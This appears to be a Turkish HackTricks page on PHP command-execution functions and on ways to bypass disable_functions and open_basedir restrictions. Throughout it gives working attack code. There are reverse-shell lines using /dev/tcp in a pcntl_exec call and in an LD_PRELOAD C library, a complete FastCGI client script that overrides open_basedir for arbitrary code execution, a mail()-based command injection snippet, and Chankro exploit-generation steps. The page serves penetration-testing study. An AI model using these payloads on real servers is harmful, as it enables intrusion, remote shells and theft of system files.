# PHP - Kullanışlı Fonksiyonlar & disable_functions/open_basedir bypass {{#include ../../../../banners/hacktricks-training.md}} ## PHP Komut & Kod Çalıştırma ### PHP Komut Çalıştırma **Not:** A [p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) php webshell, bazıları devre dışı bırakılmışsa, aşağıdaki fonksiyonu **otomatik olarak** kontrol edebilir ve atlayabilir. **exec** - Komutların çıktısının son satırını döndürür ```bash echo exec("uname -a"); ``` **passthru** - Komutların çıktısını doğrudan tarayıcıya iletir ```bash echo passthru("uname -a"); ``` **system** - Komutların çıktısını doğrudan tarayıcıya iletir ve son satırı döndürür. ```bash echo system("uname -a"); ``` **shell_exec** - Komutların çıktısını döndürür ```bash echo shell_exec("uname -a"); ``` \`\` (backticks) - shell_exec() ile aynı ```bash echo `uname -a` ``` **popen** - Bir komutun işlemi için okuma veya yazma borusu açar ```bash echo fread(popen("/bin/ls /", "r"), 4096); ``` **proc_open** - popen() ile benzer ancak daha fazla kontrol sağlar ```bash proc_close(proc_open("uname -a",array(),$something)); ``` **preg_replace** ```php ``` **pcntl_exec** - Bir programı çalıştırır (modern ve o kadar modern olmayan PHP'de bu fonksiyonu kullanmak için varsayılan olarak `pcntl.so` modülünü yüklemeniz gerekir) ```bash pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]); ``` **mail / mb_send_mail** - Bu fonksiyon e-postaları göndermek için kullanılır, ancak `$options` parametresine keyfi komutlar enjekte etmek için de kötüye kullanılabilir. Bunun nedeni, **php `mail` fonksiyonu** genellikle sistemde `sendmail` ikili dosyasını çağırması ve **ekstra seçenekler** koymanıza izin vermesidir. Ancak, yürütülen komutun çıktısını göremeyeceksiniz, bu nedenle çıktıyı bir dosyaya yazan bir shell script oluşturmanız, bunu mail ile çalıştırmanız ve çıktıyı yazdırmanız önerilir: ```bash file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt'); ``` **dl** - Bu fonksiyon, dinamik olarak bir PHP uzantısını yüklemek için kullanılabilir. Bu fonksiyon her zaman mevcut olmayabilir, bu yüzden onu istismar etmeden önce mevcut olup olmadığını kontrol etmelisiniz. [Bu sayfayı okuyarak bu fonksiyonu nasıl istismar edeceğinizi öğrenin](disable_functions-bypass-dl-function.md). ### PHP Kod Çalıştırma Eval dışında, PHP kodunu çalıştırmanın başka yolları da vardır: include/require, Yerel Dosya Dahil Etme ve Uzak Dosya Dahil Etme zafiyetleri şeklinde uzaktan kod çalıştırmak için kullanılabilir. ```php ${} // If your input gets reflected in any PHP string, it will be executed. eval() assert() // identical to eval() preg_replace('/.*/e',...) // e does an eval() on the match create_function() // Create a function and use eval() include() include_once() require() require_once() $_GET['func_name']($_GET['argument']); $func = new ReflectionFunction($_GET['func_name']); $func->invoke(); // or $func->invokeArgs(array()); // or serialize/unserialize function ``` ## disable_functions & open_basedir **Devre dışı bırakılan fonksiyonlar**, PHP'de `.ini` dosyalarında yapılandırılabilen bir ayardır ve belirtilen **fonksiyonların** kullanımını **yasaklar**. **Open basedir**, PHP'ye erişebileceği klasörü gösteren ayardır.\ PHP ayarı genellikle _/etc/php7/conf.d_ veya benzeri bir yolda yapılandırılır. Her iki yapılandırma da **`phpinfo()`** çıktısında görülebilir: ![](https://0xrick.github.io/images/hackthebox/kryptos/17.png) ![](<../../../../images/image (493).png>) ## open_basedir Bypass `open_basedir`, PHP'nin erişebileceği klasörleri yapılandırır, bu nedenle **bu klasörlerin dışındaki** herhangi bir dosyayı yazma/okuma/çalıştırma **imkanınız olmayacaktır**, ayrıca diğer dizinleri **listeleme** bile yapamazsınız.\ Ancak, bir şekilde rastgele PHP kodu çalıştırabiliyorsanız, kısıtlamayı **aşmak** için aşağıdaki **kod** parçalarını **deneyebilirsiniz**. ### glob:// ile dizinleri listeleme bypass'ı Bu ilk örnekte `glob://` protokolü ile bazı yol bypass'ları kullanılır: ```php __toString(); } $it = new DirectoryIterator("glob:///v??/run/.*"); foreach($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); foreach($file_list as $f){ echo "{$f}
"; } ``` **Not1**: Yolda `/e??/*` kullanarak `/etc/*` ve diğer klasörleri listeleyebilirsiniz.\ **Not2**: Görünüşe göre kodun bir kısmı tekrarlanmış, ama bu aslında gereklidir!\ **Not3**: Bu örnek yalnızca klasörleri listelemek için yararlıdır, dosyaları okumak için değil. ### Tam open_basedir bypass FastCGI'yi istismar etme Eğer **PHP-FPM ve FastCGI hakkında daha fazla bilgi edinmek istiyorsanız** bu sayfanın [ilk bölümünü](disable_functions-bypass-php-fpm-fastcgi.md) okuyabilirsiniz.\ Eğer **`php-fpm`** yapılandırılmışsa, bunu **open_basedir**'i tamamen atlamak için istismar edebilirsiniz: ![](<../../../../images/image (545).png>) ![](<../../../../images/image (577).png>) İlk yapmanız gereken şey **php-fpm'in unix soketinin** nerede olduğunu bulmaktır. Genellikle `/var/run` altında bulunur, bu yüzden **önceki kodu kullanarak dizini listeleyip bulabilirsiniz**.\ [Buradan](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy) kod. ```php * @version 1.0 */ class FCGIClient { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8; /** * Socket * @var Resource */ private $_sock = null; /** * Host * @var String */ private $_host = null; /** * Port * @var Integer */ private $_port = null; /** * Keep Alive * @var Boolean */ private $_keepAlive = false; /** * Constructor * * @param String $host Host of the FastCGI application * @param Integer $port Port of the FastCGI application */ public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket { $this->_host = $host; $this->_port = $port; } /** * Define whether or not the FastCGI application should keep the connection * alive at the end of a request * * @param Boolean $b true if the connection should stay alive, false otherwise */ public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } } /** * Get the keep alive status * * @return Boolean true if the connection should stay alive, false otherwise */ public function getKeepAlive() { return $this->_keepAlive; } /** * Create a connection to the FastCGI application */ private function connect() { if (!$this->_sock) { //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); } } } /** * Build a FastCGI packet * * @param Integer $type Type of the packet * @param String $content Content of the packet * @param Integer $requestId RequestId */ private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) /* version */ . chr($type) /* type */ . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ . chr($requestId & 0xFF) /* requestIdB0 */ . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ . chr($clen & 0xFF) /* contentLengthB0 */ . chr(0) /* paddingLength */ . chr(0) /* reserved */ . $content; /* content */ } /** * Build an FastCGI Name value pair * * @param String $name Name * @param String $value Value * @return String FastCGI Name value pair */ private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { /* nameLengthB0 */ $nvpair = chr($nlen); } else { /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { /* valueLengthB0 */ $nvpair .= chr($vlen); } else { /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } /* nameData & valueData */ return $nvpair . $name . $value; } /** * Read a set of FastCGI Name value pairs * * @param String $data Data containing the set of FastCGI NVPair * @return array of NVPair */ private function readNvpair($data, $length = null) { $array = array(); if ($length === null) { $length = strlen($data); } $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; } /** * Decode a FastCGI Packet * * @param String $data String containing all the packet * @return array */ private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; } /** * Read a FastCGI Packet * * @return array */ private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } } /** * Get Informations on the FastCGI application * * @param array $requestedInfo information to retrieve * @return array */ public function getValues(array $requestedInfo) { $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } } /** * Execute a request to the FastCGI application * * @param array $params Array of parameters * @param String $stdin Content * @return String */ public function request(array $params, $stdin) { $response = ''; $this->connect(); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); } $request .= $this->buildPacket(self::PARAMS, ''); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); } $request .= $this->buildPacket(self::STDIN, ''); fwrite($this->_sock, $request); do { $resp = $this->readPacket(); if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { $response .= $resp['content']; } } while ($resp && $resp['type'] != self::END_REQUEST); var_dump($resp); if (!is_array($resp)) { throw new Exception('Bad request'); } switch (ord($resp['content']{4})) { case self::CANT_MPX_CONN: throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]'); break; case self::OVERLOADED: throw new Exception('New request rejected; too busy [OVERLOADED]'); break; case self::UNKNOWN_ROLE: throw new Exception('Role value not known [UNKNOWN_ROLE]'); break; case self::REQUEST_COMPLETE: return $response; } } } ?> "; // php payload -- Doesnt do anything $php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input"; //$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php"; $params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SCRIPT_NAME' => $req, 'QUERY_STRING' => 'command='.$_REQUEST['cmd'], 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req, #'DOCUMENT_ROOT' => '/', 'PHP_VALUE' => $php_value, 'SERVER_SOFTWARE' => '80sec/wofeiwo', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code) ); // print_r($_REQUEST); // print_r($params); //echo "Call: $uri\n\n"; echo $client->request($params, $code)."\n"; ?> ``` Bu scriptler, **php-fpm'in unix soketi** ile iletişim kurarak rastgele kod çalıştırmak için kullanılacaktır (genellikle fpm kullanılıyorsa /var/run içinde bulunur). `open_basedir` ayarları, gönderilen **PHP_VALUE** niteliği ile geçersiz kılınacaktır.\ Gönderdiğiniz PHP kodunu **cmd** parametresi içinde çalıştırmak için `eval`'in nasıl kullanıldığına dikkat edin.\ Ayrıca **yorum satırı 324**'e dikkat edin, bunu yorumdan çıkarabilir ve **payload, verilen URL'ye otomatik olarak bağlanıp orada bulunan PHP kodunu çalıştıracaktır.**\ Sadece `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` adresine erişerek `/etc/passwd` dosyasının içeriğini alabilirsiniz. > [!WARNING] > `open_basedir` yapılandırmasını geçersiz kıldığımız gibi **`disable_functions`**'ı da geçersiz kılabileceğinizi düşünebilirsiniz. Deneyin, ama çalışmayacak, görünüşe göre **`disable_functions` yalnızca bir `.ini` php** yapılandırma dosyasında yapılandırılabilir ve PHP_VALUE kullanarak yaptığınız değişiklikler bu özel ayar üzerinde etkili olmayacaktır. ## disable_functions Bypass Eğer bir makinede PHP kodu çalıştırmayı başarırsanız, muhtemelen bir sonraki seviyeye geçmek ve **rastgele sistem komutları çalıştırmak** istersiniz. Bu durumda, çoğu veya tüm PHP **fonksiyonlarının** **sistem komutlarını çalıştırmasına izin vermek için **`disable_functions`**'da devre dışı bırakıldığını keşfetmek yaygındır.\ Bu kısıtlamayı nasıl aşabileceğinizi görelim (eğer aşabiliyorsanız) ### Otomatik bypass keşfi [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) aracını kullanabilirsiniz ve bu, hangi fonksiyonun (varsa) **`disable_functions`**'ı **bypass** etmek için kullanılabileceğini gösterecektir. ### Diğer sistem fonksiyonları kullanarak bypass Bu sayfanın başına geri dönün ve **komut çalıştırma fonksiyonlarından herhangi birinin devre dışı bırakılmadığını ve ortamda mevcut olup olmadığını kontrol edin**. Eğer bunlardan sadece 1 tanesini bulursanız, rastgele sistem komutları çalıştırmak için bunu kullanabileceksiniz. ### LD_PRELOAD bypass PHP'de `mail()` gibi bazı fonksiyonların **sistemde ikili dosyaları çalıştıracağı** iyi bilinmektedir. Bu nedenle, `LD_PRELOAD` ortam değişkenini kullanarak bunları kötüye kullanabilir ve herhangi bir şeyi çalıştırabilen rastgele bir kütüphaneyi yüklemelerini sağlayabilirsiniz. #### LD_PRELOAD ile disable_functions'ı bypass etmek için kullanılabilecek fonksiyonlar - **`mail`** - **`mb_send_mail`**: `php-mbstring` modülü yüklüyse etkilidir. - **`imap_mail`**: `php-imap` modülü mevcutsa çalışır. - **`libvirt_connect`**: `php-libvirt-php` modülünü gerektirir. - **`gnupg_init`**: `php-gnupg` modülü yüklüyse kullanılabilir. - **`new imagick()`**: Bu sınıf kısıtlamaları aşmak için kötüye kullanılabilir. Ayrıntılı istismar teknikleri kapsamlı bir [**yazıda burada**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/) bulunabilir. Bu fonksiyonları bulmak için kullanılan fuzzing scriptini [**burada bulabilirsiniz**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py). `LD_PRELOAD` ortam değişkenini kötüye kullanmak için derleyebileceğiniz bir kütüphane: ```php #include #include #include #include uid_t getuid(void){ unsetenv("LD_PRELOAD"); system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\""); return 1; } ``` #### Chankro Kullanarak Bypass Bu yanlış yapılandırmayı istismar etmek için [**Chankro**](https://github.com/TarlogicSecurity/Chankro) kullanabilirsiniz. Bu, yüklemeniz ve çalıştırmanız gereken **bir PHP istismarı** oluşturacak bir araçtır (web üzerinden erişin).\ **Chankro**, kurbanın diskinin içine çalıştırmak istediğiniz **kütüphane ve ters shell** yazacak ve **`LD_PRELOAD` hilesi + PHP `mail()`** fonksiyonunu kullanarak ters shell'i çalıştıracaktır. **Chankro**'yu kullanmak için `mail` ve `putenv` **`disable_functions` listesinde yer almamalıdır**.\ Aşağıdaki örnekte, `whoami` komutunu çalıştıracak ve çıktıyı _/tmp/chankro_shell.out_ dosyasına kaydedecek **arch 64 için bir chankro istismarı** nasıl oluşturulacağını görebilirsiniz. Chankro, _/tmp_ dizinine **kütüphane ve yükü** yazacak ve **son istismar** **bicho.php** olarak adlandırılacaktır (bu, kurbanın sunucusuna yüklemeniz gereken dosyadır): {{#tabs}} {{#tab name="shell.sh"}} ```php #!/bin/sh whoami > /tmp/chankro_shell.out ``` {{#endtab}} {{#tab name="Chankro"}} ```bash python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php ``` {{#endtab}} {{#endtabs}} Eğer **mail** fonksiyonunun devre dışı bırakılmış fonksiyonlar tarafından engellendiğini bulursanız, **mb_send_mail** fonksiyonunu kullanmaya devam edebilirsiniz.\ Bu teknik ve Chankro hakkında daha fazla bilgi burada: [https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/) ### "Bypass" PHP yetenekleri kullanarak **PHP** kullanarak **dosyaları okuyabilir ve yazabilir, dizinler oluşturabilir ve izinleri değiştirebilirsiniz.**\ Ayrıca **veritabanlarını dökebilirsiniz.**\ Belki **PHP** kullanarak kutuyu **numaralandırarak** ayrıcalıkları artırmanın/komutları çalıştırmanın bir yolunu bulabilirsiniz (örneğin, bazı özel ssh anahtarlarını okuyarak). Bu eylemleri gerçekleştirmeyi çok kolaylaştıran bir webshell oluşturdum (çoğu webshell'in de bu seçenekleri sunduğunu unutmayın): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) ### Modüllere/Sürüme bağlı bypass'lar Belirli bir modül kullanılıyorsa veya belirli bir PHP sürümünü istismar ediyorsanız, disable_functions'ı atlatmanın birkaç yolu vardır: - [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable_functions-bypass-php-fpm-fastcgi.md) - [**FFI ile Bypass - Yabancı Fonksiyon Arayüzü etkin**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md) - [**mem üzerinden Bypass**](disable_functions-bypass-via-mem.md) - [**mod_cgi**](disable_functions-bypass-mod_cgi.md) - [**PHP Perl Uzantısı Safe_mode**](disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md) - [**dl fonksiyonu**](disable_functions-bypass-dl-function.md) - [**Bu istismar**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass) - 5.\* - PoC'de küçük değişikliklerle istismar edilebilir - 7.0 - bugüne kadar tüm sürümler - 7.1 - bugüne kadar tüm sürümler - 7.2 - bugüne kadar tüm sürümler - 7.3 - bugüne kadar tüm sürümler - 7.4 - bugüne kadar tüm sürümler - 8.0 - bugüne kadar tüm sürümler - [**7.0'dan 8.0'a istismar (sadece Unix)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php) - [**PHP 7.0=7.4 (\*nix)**](disable_functions-bypass-php-7.0-7.4-nix-only.md#php-7-0-7-4-nix-only) - [**Imagick 3.3.0 PHP >= 5.4**](disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md) - [**PHP 5.x Shellsock**](disable_functions-php-5.x-shellshock-exploit.md) - [**PHP 5.2.4 ionCube**](disable_functions-php-5.2.4-ioncube-extension-exploit.md) - [**PHP <= 5.2.9 Windows**](disable_functions-bypass-php-less-than-5.2.9-on-windows.md) - [**PHP 5.2.4/5.2.5 cURL**](disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md) - [**PHP 5.2.3 -Win32std**](disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md) - [**PHP 5.2 FOpen istismarı**](disable_functions-bypass-php-5.2-fopen-exploit.md) - [**PHP 4 >= 4.2.-, PHP 5 pcntl_exec**](disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md) ### **Otomatik Araç** Aşağıdaki script burada bahsedilen bazı yöntemleri dener:\ [https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php](https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php) ## Diğer İlginç PHP Fonksiyonları ### Geri çağırmaları kabul eden fonksiyonlar listesi Bu fonksiyonlar, saldırganın seçimine göre bir fonksiyonu çağırmak için kullanılabilecek bir dize parametresi kabul eder. Fonksiyona bağlı olarak, saldırganın bir parametre geçirme yeteneği olabilir veya olmayabilir. Bu durumda, phpinfo() gibi bir Bilgi Sızdırma fonksiyonu kullanılabilir. [Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php) [Buradan sonraki listeleri takip edin](https://stackoverflow.com/questions/3115559/exploitable-php-functions) ```php // Function => Position of callback arguments 'ob_start' => 0, 'array_diff_uassoc' => -1, 'array_diff_ukey' => -1, 'array_filter' => 1, 'array_intersect_uassoc' => -1, 'array_intersect_ukey' => -1, 'array_map' => 0, 'array_reduce' => 1, 'array_udiff_assoc' => -1, 'array_udiff_uassoc' => array(-1, -2), 'array_udiff' => -1, 'array_uintersect_assoc' => -1, 'array_uintersect_uassoc' => array(-1, -2), 'array_uintersect' => -1, 'array_walk_recursive' => 1, 'array_walk' => 1, 'assert_options' => 1, 'uasort' => 1, 'uksort' => 1, 'usort' => 1, 'preg_replace_callback' => 1, 'spl_autoload_register' => 0, 'iterator_apply' => 1, 'call_user_func' => 0, 'call_user_func_array' => 0, 'register_shutdown_function' => 0, 'register_tick_function' => 0, 'set_error_handler' => 0, 'set_exception_handler' => 0, 'session_set_save_handler' => array(0, 1, 2, 3, 4, 5), 'sqlite_create_aggregate' => array(2, 3), 'sqlite_create_function' => 2, ``` ### Bilgi Sızdırma Bu fonksiyon çağrılarının çoğu bir sink değildir. Ancak, dönen verilerden herhangi biri bir saldırgan tarafından görülebiliyorsa bu kesinlikle bir zayıflık olabilir. Eğer bir saldırgan phpinfo() görebiliyorsa, bu kesinlikle bir zayıflıktır. ```php phpinfo posix_mkfifo posix_getlogin posix_ttyname getenv get_current_user proc_get_status get_cfg_var disk_free_space disk_total_space diskfreespace getcwd getlastmo getmygid getmyinode getmypid getmyuid ``` ### Diğer ```php extract // Opens the door for register_globals attacks (see study in scarlet). parse_str // works like extract if only one argument is given. putenv ini_set mail // has CRLF injection in the 3rd parameter, opens the door for spam. header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area. proc_nice proc_terminate proc_close pfsockopen fsockopen apache_child_terminate posix_kill posix_mkfifo posix_setpgid posix_setsid posix_setuid ``` ### Dosya Sistemi Fonksiyonları RATS'a göre, php'deki tüm dosya sistemi fonksiyonları kötü niyetlidir. Bunlardan bazıları saldırgan için çok faydalı görünmüyor. Diğerleri ise düşündüğünüzden daha faydalı olabilir. Örneğin, allow_url_fopen=On ise, bir URL dosya yolu olarak kullanılabilir, bu nedenle copy($\_GET\['s'], $\_GET\['d']); çağrısı, sistemde herhangi bir yere bir PHP betiği yüklemek için kullanılabilir. Ayrıca, bir site GET ile gönderilen bir isteğe karşı savunmasızsa, bu dosya sistemi fonksiyonlarının her biri, sunucunuz aracılığıyla başka bir ana bilgisayara saldırı yönlendirmek için kötüye kullanılabilir. **Açık dosya sistemi işleyicisi** ```php fopen tmpfile bzopen gzopen SplFileObject->__construct ``` **Dosya sistemine yazma (kısmen okuma ile kombinasyon halinde)** ```php chgrp chmod chown copy file_put_contents lchgrp lchown link mkdir move_uploaded_file rename rmdir symlink tempnam touch unlink imagepng // 2nd parameter is a path. imagewbmp // 2nd parameter is a path. image2wbmp // 2nd parameter is a path. imagejpeg // 2nd parameter is a path. imagexbm // 2nd parameter is a path. imagegif // 2nd parameter is a path. imagegd // 2nd parameter is a path. imagegd2 // 2nd parameter is a path. iptcembed ftp_get ftp_nb_get scandir ``` **Dosya sisteminden oku** ```php file_exists -- file_get_contents file fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype glob is_dir is_executable is_file is_link is_readable is_uploaded_file is_writable is_writeable linkinfo lstat parse_ini_file pathinfo readfile readlink realpath stat gzfile readgzfile getimagesize imagecreatefromgif imagecreatefromjpeg imagecreatefrompng imagecreatefromwbmp imagecreatefromxbm imagecreatefromxpm ftp_put ftp_nb_put exif_read_data read_exif_data exif_thumbnail exif_imagetype hash_file hash_hmac_file hash_update_file md5_file sha1_file -- highlight_file -- show_source php_strip_whitespace get_meta_tags ``` {{#include ../../../../banners/hacktricks-training.md}}